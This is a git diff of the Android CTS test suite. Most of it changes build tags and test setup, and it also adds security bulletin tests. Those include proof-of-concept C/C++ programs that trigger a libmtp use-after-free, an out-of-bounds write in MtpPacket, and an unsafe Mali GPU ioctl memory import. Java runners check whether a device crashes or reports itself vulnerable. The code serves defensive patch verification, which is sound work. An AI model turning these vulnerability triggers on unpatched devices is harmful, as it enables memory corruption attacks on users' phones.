index 9a4a8c4..e6f7c0c 100644
--- a/hostsidetests/appsecurity/Android.bp
+++ b/hostsidetests/appsecurity/Android.bp
@@ -50,6 +50,9 @@
"mts-documentsui",
"mts-mainline-infra",
"mts-mediaprovider",
+ "mcts-documentsui",
+ "mcts-mainline-infra",
+ "mcts-mediaprovider",
"sts",
],
diff --git a/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java b/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
index 0396c3b..10fabf5 100644
--- a/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
+++ b/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
@@ -25,6 +25,8 @@
import com.android.tradefed.log.LogUtil.CLog;
+import kotlin.Unit;
+
import java.io.BufferedReader;
import java.io.Reader;
import java.util.Arrays;
@@ -34,7 +36,6 @@
import java.util.regex.Matcher;
import java.util.regex.Pattern;
-import kotlin.Unit;
import trebuchet.model.Counter;
import trebuchet.model.CounterValue;
import trebuchet.model.Model;
@@ -42,7 +43,7 @@
import trebuchet.model.ThreadModel;
import trebuchet.model.base.Slice;
import trebuchet.model.fragments.AsyncSlice;
-import trebuchet.queries.slices.*;
+import trebuchet.queries.slices.SliceQueriesKt;
/**
* Test to check that atrace is usable, to enable usage of systrace.
@@ -253,6 +254,10 @@
if (slice.getName().startsWith("Choreographer#doFrame ")) {
requiredSections.remove("Choreographer#doFrame");
}
+ // Quick hack to handle names being appended to draw
+ if (slice.getName().contains("draw")) {
+ requiredSections.remove("draw");
+ }
return Unit.INSTANCE;
});
diff --git a/hostsidetests/backup/Android.bp b/hostsidetests/backup/Android.bp
index c46a54a..d89c9be 100644
--- a/hostsidetests/backup/Android.bp
+++ b/hostsidetests/backup/Android.bp
@@ -23,7 +23,8 @@
test_suites: [
"cts",
"general-tests",
- "mts",
+ "mts-permission",
+ "mcts-permission",
"sts",
],
libs: [
diff --git a/hostsidetests/devicepolicy/Android.bp b/hostsidetests/devicepolicy/Android.bp
index b09e4db..b1880d4 100644
--- a/hostsidetests/devicepolicy/Android.bp
+++ b/hostsidetests/devicepolicy/Android.bp
@@ -33,6 +33,7 @@
"cts",
"general-tests",
"mts-permission",
+ "mcts-permission",
],
static_libs: [
"cts-statsd-atom-host-test-utils",
diff --git a/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java b/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java
index 12668af..b5821ac 100644
--- a/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java
+++ b/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java
@@ -107,7 +107,7 @@
@Before
public void setup() throws Exception {
// Increase default timeout to 5 mins to accommodate for slow restarting devices.
- TestDeviceOptions options = new TestDeviceOptions();
+ TestDeviceOptions options = getDevice().getOptions();
options.setAdbCommandTimeout(DEFAULT_ADB_TIMEOUT_MS);
getDevice().setOptions(options);
diff --git a/hostsidetests/neuralnetworks/Android.bp b/hostsidetests/neuralnetworks/Android.bp
index ba128cf..92f6e03 100644
--- a/hostsidetests/neuralnetworks/Android.bp
+++ b/hostsidetests/neuralnetworks/Android.bp
@@ -25,6 +25,7 @@
"general-tests",
"mts",
"mts-neuralnetworks",
+ "mcts-neuralnetworks",
],
libs: [
"tradefed",
diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp
index 3f91118..a2aab17 100644
--- a/hostsidetests/scopedstorage/Android.bp
+++ b/hostsidetests/scopedstorage/Android.bp
@@ -397,6 +397,7 @@
test_suites: [
"general-tests",
"mts-mediaprovider",
+ "mcts-mediaprovider",
"cts",
],
test_config: "CoreTest.xml",
@@ -426,6 +427,7 @@
test_suites: [
"general-tests",
"mts-mediaprovider",
+ "mcts-mediaprovider",
"cts",
],
test_config: "AndroidTest.xml",
@@ -458,6 +460,7 @@
test_suites: [
"general-tests",
"mts-mediaprovider",
+ "mcts-mediaprovider",
"cts",
],
test_config: "AndroidTestAppCloning.xml",
@@ -537,6 +540,7 @@
test_suites: [
"general-tests",
"mts-mediaprovider",
+ "mcts-mediaprovider",
"cts",
],
sdk_version: "test_current",
@@ -594,6 +598,7 @@
test_suites: [
"general-tests",
"mts-mediaprovider",
+ "mcts-mediaprovider",
"cts",
],
sdk_version: "test_current",
@@ -640,6 +645,7 @@
test_suites: [
"general-tests",
"mts-mediaprovider",
+ "mcts-mediaprovider",
"cts",
],
sdk_version: "test_current",
@@ -686,6 +692,7 @@
test_suites: [
"general-tests",
"mts-mediaprovider",
+ "mcts-mediaprovider",
"cts",
],
sdk_version: "test_current",
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index 3db6007..21b863c 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -2212,7 +2212,7 @@
return MediaStore.Files.getContentUri(sStorageVolumeName);
}
- private static void pollForCondition(Supplier<Boolean> condition, String errorMessage)
+ public static void pollForCondition(Supplier<Boolean> condition, String errorMessage)
throws Exception {
for (int i = 0; i < POLLING_TIMEOUT_MILLIS / POLLING_SLEEP_MILLIS; i++) {
if (condition.get()) {
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index d35db7b..023f4a0 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -57,6 +57,7 @@
import static android.scopedstorage.cts.lib.TestUtils.getMusicDir;
import static android.scopedstorage.cts.lib.TestUtils.getPicturesDir;
import static android.scopedstorage.cts.lib.TestUtils.openWithMediaProvider;
+import static android.scopedstorage.cts.lib.TestUtils.pollForCondition;
import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState;
import static android.scopedstorage.cts.lib.TestUtils.pollForManageExternalStorageAllowed;
import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
@@ -84,6 +85,7 @@
import android.Manifest;
import android.content.ContentValues;
+import android.content.pm.PackageManager;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
@@ -165,10 +167,15 @@
@Before
public void setup() throws Exception {
- if (!getContext().getPackageManager().isInstantApp()) {
+ PackageManager packageManager = getContext().getPackageManager();
+ if (!packageManager.isInstantApp()) {
pollForExternalStorageState();
getExternalFilesDir().mkdirs();
}
+
+ pollForCondition(
+ () -> packageManager.resolveContentProvider(MediaStore.AUTHORITY, 0) != null,
+ "ContentProvider not available for authority media.");
}
/**
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2023-40114/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2023-40114/Android.bp
new file mode 100644
index 0000000..1541953d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2023-40114/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2023-40114",
+ defaults: ["sts_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ include_dirs: ["cts/hostsidetests/securitybulletin/securityPatch/includes"],
+ shared_libs: [
+ "libmtp",
+ "libbase",
+ ],
+ cflags: [
+ "-DCHECK_UNDERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ "-DCHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE=8192",
+ ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2023-40114/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2023-40114/poc.cpp
new file mode 100644
index 0000000..0b68558
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2023-40114/poc.cpp
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <MtpFfsCompatHandle.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+using namespace android;
+char enable_selective_overload = ENABLE_NONE;
+
+int main(int argc, char* argv[]) {
+ FAIL_CHECK(argc == 2);
+ int32_t controlFd;
+ const char* descriptorFilePath = argv[1];
+ controlFd = open(descriptorFilePath, O_RDWR | O_NONBLOCK | O_CLOEXEC);
+ FAIL_CHECK(controlFd >= 0);
+ struct mtp_event event;
+ event.data = const_cast<char*>("");
+ event.length = 0;
+ {
+ // Memory for handle is being allocated here
+ enable_selective_overload = ENABLE_ALL;
+ std::unique_ptr<IMtpHandle> handle(new MtpFfsCompatHandle(controlFd));
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+
+ // handle->sendEvent() internally calls handle->doSendEvent() in a detached thread.
+ // This will cause an use-after-free if handle goes out of scope before the thread completes
+ // its execution. The fix adds a wait in handle->close() to wait till the detached thread is
+ // fully executed.
+ handle->sendEvent(event);
+ handle->close();
+ }
+ // Sleep is added here to make sure program does not exit before use after free occurs in
+ // detached thread.
+ // It is observed that 200 ms is required for UAF to get triggered. But to detect the
+ // vulnerability in other slow devices, sleep of 1 second (1000 ms) is used here
+ sleep(1);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2023-4272/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2023-4272/Android.bp
new file mode 100644
index 0000000..c58cd1f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2023-4272/Android.bp
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2023-4272",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: ["poc.c"],
+ static_libs: ["mali_gpu_utils"],
+ include_dirs: ["cts/hostsidetests/securitybulletin/securityPatch/includes"],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2023-4272/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2023-4272/poc.c
new file mode 100644
index 0000000..2d07bd8
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2023-4272/poc.c
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <mali_gpu_utils.h>
+
+#include "../includes/common.h"
+
+struct base_mem_import_user_buffer {
+ __u64 ptr;
+ __u64 length;
+};
+
+union kbase_ioctl_mem_import {
+ struct {
+ __u64 flags;
+ __u64 phandle;
+ __u32 type;
+ __u32 padding;
+ } in;
+ struct {
+ __u64 flags;
+ __u64 gpu_va;
+ __u64 va_pages;
+ } out;
+};
+
+#define KBASE_IOCTL_MEM_IMPORT _IOWR(KBASE_IOCTL_TYPE, 22, union kbase_ioctl_mem_import)
+
+int main(void) {
+ int mali_fd = open("/dev/mali0", O_RDWR);
+ if (mali_fd < 0) {
+ printf("Failed to open /dev/mali0!");
+ return EXIT_FAILURE;
+ }
+
+ mali_gpu_info gpu_info = {
+ .is_csf = false,
+ .version = 0,
+ .tracking_page = NULL,
+ };
+
+ // This bug affects both CSF and non-CSF versions. Hence, version check is not needed
+ if (initialize_mali_gpu(mali_fd, &gpu_info) == EXIT_FAILURE) {
+ return EXIT_FAILURE;
+ }
+
+ // make a single-page anonymous mapping
+ void *anon_mapping =
+ mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+ if (anon_mapping == MAP_FAILED) {
+ printf("mmap failed!");
+ teardown(&gpu_info);
+ return EXIT_FAILURE;
+ }
+
+ // Create a KBASE_MEM_TYPE_IMPORTED_USER_BUF that refers to the anonymous
+ // mapping's address range.
+ struct base_mem_import_user_buffer ubuf = {.ptr = (unsigned long)anon_mapping, .length = 128};
+ union kbase_ioctl_mem_import mi = {.in = {
+ .flags = 0xf /* CPU+GPU R+W */,
+ .phandle = (unsigned long)&ubuf,
+ .type = 3 /* BASE_MEM_IMPORT_TYPE_USER_BUFFER */
+ }};
+
+ // USER_BUFFER must be CPU cached. Without fix, the user buffer mapping is created.
+ // With fix, the ioctl call fails and returns an error value
+ int result = ioctl(mali_fd, KBASE_IOCTL_MEM_IMPORT, &mi);
+
+ // free the allocated memory
+ munmap(anon_mapping, PAGE_SIZE);
+ teardown(&gpu_info);
+
+ if (result == 0) {
+ printf("Driver vulnerable to b/296910715!");
+ return EXIT_VULNERABLE;
+ }
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2024-0040/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2024-0040/Android.bp
new file mode 100644
index 0000000..546f796
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2024-0040/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2024-0040",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults",
+ ],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ shared_libs: [
+ "libbase",
+ "libmtp",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2024-0040/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2024-0040/poc.cpp
new file mode 100644
index 0000000..c3b5d5e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2024-0040/poc.cpp
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <MtpPacket.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+int main() {
+ enable_selective_overload = ENABLE_ALL;
+ android::MtpPacket mtpPacket(16 /* bufferSize */);
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+
+ // Without Fix, OOB Write is seen in 'MtpPacket::setParameter()'
+ mtpPacket.setParameter(4 /* index */, 0 /* value */);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21124.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21124.java
new file mode 100644
index 0000000..41e2f5a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21124.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.SystemUtil;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_21124 extends NonRootSecurityTestCase {
+
+ @AsbSecurityTest(cveBugId = 265798353)
+ @Test
+ public void testPocCVE_2023_21124() {
+ // Enable 'hidden_api_policy' to access the private field 'mNonLocalizedLabel' of
+ // 'LabeledIntent' and 'KEY_LAUNCH_TASK_ID' of 'ActivityOptions' in PocAuthService.
+ try (AutoCloseable withHiddenApis =
+ SystemUtil.withSetting(getDevice(), "global", "hidden_api_policy", "1")) {
+ // Install the test and target apps
+ installPackage("CVE-2023-21124-target.apk");
+ installPackage("CVE-2023-21124-test.apk");
+
+ // Run the test "testCVE_2023_21124"
+ final String testPkg = "android.security.cts.CVE_2023_21124_test";
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2023_21124");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ // To exit test gracefully
+ try {
+ safeReboot();
+ } catch (Exception ignore) {
+ // Ignore
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21244.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21244.java
index c784851..ccc0565 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21244.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21244.java
@@ -29,6 +29,8 @@
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.HashMap;
+
@RunWith(DeviceJUnit4ClassRunner.class)
public class CVE_2023_21244 extends NonRootSecurityTestCase {
@@ -54,7 +56,24 @@
SystemUtil.withSetting(device, "global", "hidden_api_policy", "1")) {
// Run the test "testCVE_2023_21244"
final String testPkg = "android.security.cts.CVE_2023_21244";
- runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2023_21244");
+ final long timeout = 10 * 60 * 1000L; // DEFAULT_TEST_TIMEOUT_MS
+
+ // Pass 'isHiddenApiCheckDisabled' as 'true' in runDeviceTests() to prevent
+ // 'NoSuchMethodError' in case 'hidden_api_policy' setting is ineffective. All other
+ // arguments are set to their default values.
+ runDeviceTests(
+ device,
+ null /* runner */,
+ testPkg,
+ testPkg + ".DeviceTest",
+ "testCVE_2023_21244",
+ null /* userId */,
+ timeout /* testTimeoutMs */,
+ timeout /* maxTimeToOutputMs */,
+ 0L /* maxInstrumentationTimeoutMs */,
+ true /* checkResults */,
+ true /* isHiddenApiCheckDisabled */,
+ new HashMap<>());
}
} catch (Exception e) {
assumeNoException(e);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21277.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21277.java
new file mode 100644
index 0000000..6dd20d8
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_21277.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.UserUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.util.RunUtil;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_21277 extends NonRootSecurityTestCase {
+
+ @AsbSecurityTest(cveBugId = 281018094)
+ @Test
+ public void testPocCVE_2023_21277() {
+ try {
+ ITestDevice device = getDevice();
+ final String testPkg = "android.security.cts.CVE_2023_21277";
+
+ // Install test app in device
+ installPackage("CVE-2023-21277.apk", "-g");
+
+ // Create new user and save a screenshot in that user
+ final int currentUserId = device.getCurrentUser();
+ try (AutoCloseable asSecondaryUser =
+ new UserUtils.SecondaryUser(device)
+ .name("cve_2023_21277_user")
+ .doSwitch()
+ .withUser()) {
+ int userId = device.getCurrentUser();
+ device.executeShellCommand("input keyevent KEYCODE_SYSRQ");
+
+ // Wait for screenshot to get saved in the created user
+ final long timeout = 5_000L;
+ final long waitPerIteration = 500L;
+ boolean screenshotSaved = false;
+ long start = System.currentTimeMillis();
+ do {
+ screenshotSaved =
+ device.executeShellCommand(
+ "content query --user "
+ + userId
+ + " --projection _id --uri"
+ + " content://media/external/images/media/")
+ .contains("Row");
+ if (screenshotSaved) {
+ break;
+ }
+ RunUtil.getDefault().sleep(waitPerIteration);
+ } while (System.currentTimeMillis() - start <= timeout);
+ assumeTrue(
+ "Screenshot was not saved in the created userId = " + userId,
+ screenshotSaved);
+
+ // Switch back to original user
+ assumeTrue(device.switchUser(currentUserId));
+
+ // Run DeviceTest
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testPocCVE_2023_21277");
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40114.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40114.java
new file mode 100644
index 0000000..bde671d
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_40114.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static com.android.sts.common.NativePocCrashAsserter.assertNoCrash;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.NativePoc;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_40114 extends NonRootSecurityTestCase {
+
+ // b/243381410
+ // Vulnerability Behaviour: Use after free in libmtp
+ // Vulnerable Library: libmtp (As per AOSP code)
+ // Vulnerable Function(s): MtpFfsHandle::sendEvent, MtpFfsHandle::doSendEvent (As per AOSP code)
+ @AsbSecurityTest(cveBugId = 243381410)
+ @Test
+ public void testPocCVE_2023_40114() {
+ ITestDevice device = null;
+ String descriptorFilePath = null;
+ try {
+ final String library = "libmtp";
+ final String process = "system_server";
+ final String binaryName = "CVE-2023-40114";
+ device = getDevice();
+
+ // Create a file descriptor required for instantiating 'MtpFfsCompatHandle' in poc.cpp
+ descriptorFilePath =
+ new File("/data/local/tmp/", "CVE_2023_40114_descriptor_file")
+ .getAbsolutePath();
+ device.pushString("", descriptorFilePath);
+ String[] signals = {TombstoneUtils.Signals.SIGSEGV};
+
+ TombstoneUtils.Config crashConfig =
+ new TombstoneUtils.Config()
+ .setProcessPatterns(binaryName)
+ .setBacktraceIncludes(
+ new BacktraceFilterPattern("libmtp", "MtpFfsHandle::sendEvent"),
+ new BacktraceFilterPattern(
+ "libmtp", "MtpFfsHandle::doSendEvent"))
+ .setSignals(signals);
+
+ NativePoc.builder()
+ .assumePocExitSuccess(false)
+ .pocName(binaryName)
+ .args("CVE_2023_40114_descriptor_file")
+ .asserter(assertNoCrash(crashConfig))
+ .build()
+ .run(this);
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ device.deleteFile(descriptorFilePath);
+ } catch (Exception e) {
+ // ignore all exceptions
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_4272.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_4272.java
new file mode 100644
index 0000000..491b488
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_4272.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static com.google.common.truth.TruthJUnit.assume;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.NativePoc;
+import com.android.sts.common.NativePocStatusAsserter;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_4272 extends NonRootSecurityTestCase {
+
+ // b/296910715
+ @AsbSecurityTest(cveBugId = 296910715)
+ @Test
+ public void testPocCVE_2023_4272() {
+ try {
+ assume().withMessage("Mali GPU not found")
+ .that(containsDriver(getDevice(), "/dev/mali0"))
+ .isTrue();
+ NativePoc.builder()
+ .pocName("CVE-2023-4272")
+ .asserter(NativePocStatusAsserter.assertNotVulnerableExitCode())
+ .build()
+ .run(this);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2024_0040.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2024_0040.java
new file mode 100644
index 0000000..82dd618
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2024_0040.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
